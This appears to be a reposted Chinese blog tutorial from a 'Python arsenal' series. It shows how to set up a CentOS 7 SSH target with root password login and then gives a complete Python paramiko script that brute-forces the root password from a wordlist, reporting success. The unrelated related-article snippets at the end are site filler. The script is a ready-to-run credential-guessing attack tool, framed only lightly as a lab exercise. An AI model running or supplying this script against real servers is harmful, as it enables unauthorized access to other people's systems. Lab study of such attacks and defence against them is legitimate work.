Python武器库开发-武器库篇之SSH服务暴力破解(五十四)

news2025/7/11 6:51:22

Python武器库开发-武器库篇之SSH服务暴力破解(五十四)

SSH(Secure Shell)是一种加密的网络协议,用于在不安全的网络上提供安全的远程登录和文件传输功能。SSH可以在客户端和服务器之间建立安全的通信连接,确保通信数据的机密性和完整性。

SSH服务的主要功能包括:

  1. 远程登录:用户可以通过SSH协议在远程主机上执行命令,就像在本地主机上操作一样。

  2. 文件传输:SSH可以方便地传输文件和目录,支持上传和下载操作。

  3. 端口转发:SSH可以在远程主机和本地主机之间建立安全的端口转发通道,用于安全访问远程主机上的服务。

  4. X11转发:SSH支持X11图形界面的转发,使用户可以在本地主机上远程访问远程主机上运行的图形应用程序。

SSH协议使用公钥加密和密钥交换技术来确保数据的安全性。客户端和服务器之间建立通信连接时,会进行密钥交换过程,以确保通信双方都可以验证对方的身份,并协商出一个用于加密通信的共享密钥。这样,即使在不安全的网络上,也能保证通信的机密性和完整性。

环境准备

首先,我们需要准备一台Centos7机器作为靶机在CentOS 7上配置SSH服务的步骤如下:

  1. 确保系统已安装OpenSSH软件包。如果没有安装,可以使用以下命令安装:
sudo yum install openssh-server

在这里插入图片描述

  1. 启动SSH服务,使用以下命令启动SSH服务:
sudo systemctl start sshd

在这里插入图片描述

  1. 设置SSH服务开机自启,使用以下命令将SSH服务设置为开机自启:
sudo systemctl enable sshd

在这里插入图片描述

  1. (可选)如果需要修改SSH的默认配置,可以编辑SSH配置文件,使用以下命令打开SSH配置文件:
sudo vi /etc/ssh/sshd_config 

在这里插入图片描述

在此文件中,您可以修改诸如监听端口、允许的用户、登录选项等等的设置,修改完后保存文件并退出。

我们在此文件中配置登录密码,首先使用文本编辑器(如vi或nano)打开配置文件,在文件中找到#PermitRootLogin的行,并将其取消注释(将#去掉)。在PermitRootLogin的后面添加一个空格和yes,以允许使用root用户登录。例如:PermitRootLogin yes。然后保存并关闭文件。

在这里插入图片描述

  1. (可选)如果有进行了配置文件的修改,需要重新加载SSH配置,使用以下命令重新加载SSH配置:
sudo systemctl reload sshd

在这里插入图片描述

  1. 配置防火墙允许SSH连接。默认情况下,CentOS7使用firewalld进行防火墙配置。如果没有禁用或修改防火墙设置,可以使用以下命令允许SSH连接:
sudo firewall-cmd --zone=public --add-service=ssh --permanent
sudo firewall-cmd --reload

破解代码

接下来我们用python写一段暴力破解SSH服务的代码,代码内容如下:

#!/usr/bin/env python

import paramiko
import socket
import time

host = "192.168.41.147"
#ssh用户
user = "root"
port = 21
passwords = open("PasswordFile.txt").read().split('\n')

def connect_ssh(password):
    #ssh客户端
    ssh_client = paramiko.SSHClient()
    ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        ssh_client.connect(hostname=host,password=password,username=user,timeout=10)
    except socket.timeout:
        print("连接超时")
        return False
    except paramiko.AuthenticationException:
        print(f"[!] 账户密码错误 {user}:{password}")
        return False
    except paramiko.SSHException:
        print("内部错误,等待重连")
        time.sleep(10)
        return connect_ssh(password)
    else:
        print("[+] password found: ",password)
        exit(0)

for password in passwords:
    if connect_ssh(password):
        break

这段代码是一个用于SSH密码破解的脚本。它使用paramiko库来建立SSH连接,尝试使用从"PasswordFile.txt"文件中读取的密码列表进行身份验证。

首先,导入了paramikosockettime模块。然后,定义了一些变量,包括要连接的主机IP地址、SSH用户名、端口号和密码文件。

接下来,定义了一个名为connect_ssh的函数,该函数用于连接SSH并尝试使用给定的密码进行身份验证。函数内部使用了paramiko模块提供的SSHClient类进行SSH连接,并在连接过程中处理可能出现的异常情况。如果连接成功,将打印出找到的密码并退出程序。

最后,使用一个循环遍历密码文件中的每一个密码,并调用connect_ssh函数进行尝试。如果找到了正确的密码,将跳出循环。

运行实验

接下来我们在实际运行这段代码试验一下,如图成功暴力破解出了SSH服务的密码

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1822284.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Web应用安全测试-防护功能失效

Web应用安全测试-防护功能失效 1、账号弱锁定机制 漏洞描述:系统帐号锁定时间太短 测试方法:登录时多次输入错误密码,触发账户锁定机制,查看锁定时间是否低于3分钟。 风险分析:若账户锁定时间过短,攻击…

洋人道歉,「国产」出品,全球最强端侧多模态大模型!(懒人包)

最近,在AI圈发生了一件大事,那就是斯坦福AI团队因抄袭清华系开源大模型而引起了国际社交平台上的巨大争议。事件的核心围绕一款名为“Llama3-V”的斯坦福团队开发的多模态大模型,该模型一经发布,便以其低成本高效率的特性&#xf…

广州酒吧安全管理:蓝牙可燃气体报警器的实践与检定

随着现代都市生活的丰富多样,酒吧已成为人们休闲娱乐的重要场所。然而,酒吧内大量使用的燃气设备也带来了不小的安全隐患。 如何在确保顾客享受愉悦时光的同时,保障他们的生命财产安全,成为广州各大酒吧经营者亟待解决的问题。 …

数据结构 实验 2

题目一:遍历二叉树 一、实验目的 熟练掌握指针变量、链表的含义掌握二叉树的结构特性,以及二叉链表的存储方式的特点掌握用递归的方法处理二叉树的基本算法掌握二叉树的四种遍历方式(先序、中序、后序、按层次) 二、实验步骤 …

Unity资源 之 最受欢迎的三消游戏开发包 - Bubble Shooter Kit 【免费领取】

三消游戏开发包 - Bubble Shooter Kit 免费领取 前言资源包内容领取兑换码 前言 如果你是一名 Unity 游戏开发者,并且正在寻找一种快速、简单的方式来创建自己的三消游戏,那么 Bubble Shooter Kit 就是你所需要的。 资源包内容 Bubble Shooter Kit 是…

typora+Picgo使用Lsky pro搭建本地服务图床

typoraPicgo使用Lsky pro搭建本地服务图床 Picgo下载lankong插件lankong插件安装Auth token获取 Picgo测试typora测试问题说明 Picgo下载 Picgo下载:https://github.com/Molunerfinn/PicGo/releases,注意:请直接使用尝鲜版,正式版…

【kaggle量化交易第一名方案】Trading at the Close

2024 1st Place Solution Overview 最终模型(CV/Private LB为5.8117/5.4030)是CatBoost(5.8240/5.4165)、GRU(5.8481/5.4259)和Transformer(5.8619/5.4296)的组合,权重分别为0.5、0.3、0.2,从验证集中搜索得到。这些模型共享相同的300个特征。 此外,在线学习(On…

2024【大模型】国内市场如何?程序员该何时入局?

1.市场形势 根据最新的市场研究报告,2023年中国的大模型市场呈现出显著的发展趋势和广阔的前景。以下是关于中国大模型市场的几个关键点: 市场规模和增长:2023年,中国AI大模型行业的市场规模达到了147亿元人民币,预计…

stable-diffusion 3 体验部署流程(ComfyUI)

环境准备 下载及简介 git clone https://huggingface.co/stabilityai/stable-diffusion-3-medium SD3 checkpoints: sd3_medium_incl_clips.safetensors (5.5GB)sd3_medium_incl_clips_t5xxlfp8.safetensors (10.1GB)sd3_medium.safetensors (4.3GB) 前两个可以…

RK3568笔记三十二:PaddleSeg训练部署

一、环境 1、Autodl配置 PyTorch 1.7.0Python 3.8(ubuntu18.04)Cuda 11.02、所需环境需求 - OS: 64-bit - Python 3(3.6/3.7/3.8/3.9/3.10),64-bit version - pip/pip3(9.0.1),64-bit version - CUDA > 10.2 - cuDNN > 7.6 - PaddlePaddle (the…

qmt量化交易策略小白学习笔记第28期【qmt编程之获取财务数据列表--十大股东和股东数】

qmt编程之获取财务数据 qmt更加详细的教程方法,会持续慢慢梳理。 也可找寻博主的历史文章,搜索关键词查看解决方案 ! 感谢关注,咨询免费开通量化回测与获取实盘权限,欢迎和博主联系! 十大股东/十大流通…

数据结构-稀疏数组

稀疏数组是一种特殊的数据结构,主要用于存储那些大部分元素为零或者未使用的大型数组。以下是关于稀疏数组的详细知识点,按照分点表示和归纳的方式整理: 一、定义 稀疏数组是指那些大部分内容值为空(通常为0)的数组。…

【Spring6】13-19章 JdbcTemplate+代理模式+AOP+Spring事务+Spring集成MyBatis

十三、JdbcTemplate JdbcTemplate是Spring提供的一个JDBC模板类,是对JDBC的封装,简化JDBC代码。 当然,你也可以不用,可以让Spring集成其它的ORM框架,例如:MyBatis、Hibernate等。 接下来我们简单来学习一下…

【网络编程】TCP原理

TCP套接字中的I/O缓冲 write函数调用后并非立即传输数据,read函数调用后也非马上接收数据。write函数调用瞬间,数据将移至输出缓冲;read函数调用瞬间,从缓冲读取数据。 这些IO缓冲特性可整理如下。 口IO缓冲在每个TCP套接字中单…

人工智能发展历程和工具搭建学习

目录 人工智能的三次浪潮 开发环境介绍 Anaconda Anaconda的下载和安装 下载说明 安装指导 模块介绍 使用Anaconda Navigator Home界面介绍 Environment界面介绍 使用Jupter Notebook 打开Jupter Notebook 配置默认目录 新建文件 两种输入模式 Conda 虚拟环境 添…

C#开发-集合使用和技巧(一)常用集合和方法介绍

C#开发-集合使用和技巧 &#xff08;一&#xff09;常用集合和方法介绍常用集合和方法介绍 C#开发-集合使用和技巧1. 集合基础集合介绍集合跟数组对比 2.我们常用的集合类型列表List<T>键值对集合Dictionary<TKey,TValue>队列Queue<T>其他一些集合类型堆栈St…

04-让LLM理解知识 -Prompt

1 Prompt Prompt 可理解为用于指导AI模型生成特定类型、主题或格式内容的文本。在NLP中&#xff0c;Prompt 通常由一个问题或任务描述组成&#xff0c;例如“给我写一篇有关RAG的文章”&#xff0c;这句话就是Prompt。 Prompt赋予了LLM小样本甚至零样本学习的能力。 大模型的…

07 SpringBoot 配置绑定

所谓“配置绑定”就是把配置文件中的值与 JavaBean 中对应的属性进行绑定。通常&#xff0c;我们会把一些配置信息&#xff08;例如&#xff0c;数据库配置&#xff09;放在配置文件中&#xff0c;然后通过 Java 代码去读取该配置文件&#xff0c;并且把配置文件中指定的配置封…

TF-IDF算法:从文本中发现价值的黄金法则

TF-IDF算法 一、简介二、TF-IDF算法原理2.1 词频&#xff08;TF&#xff09;2.2 逆文档频率&#xff08;IDF&#xff09;2.3 TF-IDF的计算 三、TF-IDF算法应用3.1 搜索引擎3.2 文本分类3.3 信息提取3.4 文本摘要 四、TF-IDF算法的改进4.1、TF-IDF算法的改进4.1.1. 基于词的权重…

DC12V升压24V/5A电流 布控球产品应用 升压恒压SL4010耐压40V芯片

随着科技的不断发展&#xff0c;布控球作为一种高效、精准的安全监控设备&#xff0c;被广泛应用于公安、消防、交通等多个领域。然而&#xff0c;布控球在工作过程中需要稳定的电源供应&#xff0c;以保证其正常运行和长期稳定性。因此&#xff0c;一款性能优良的升压恒压芯片…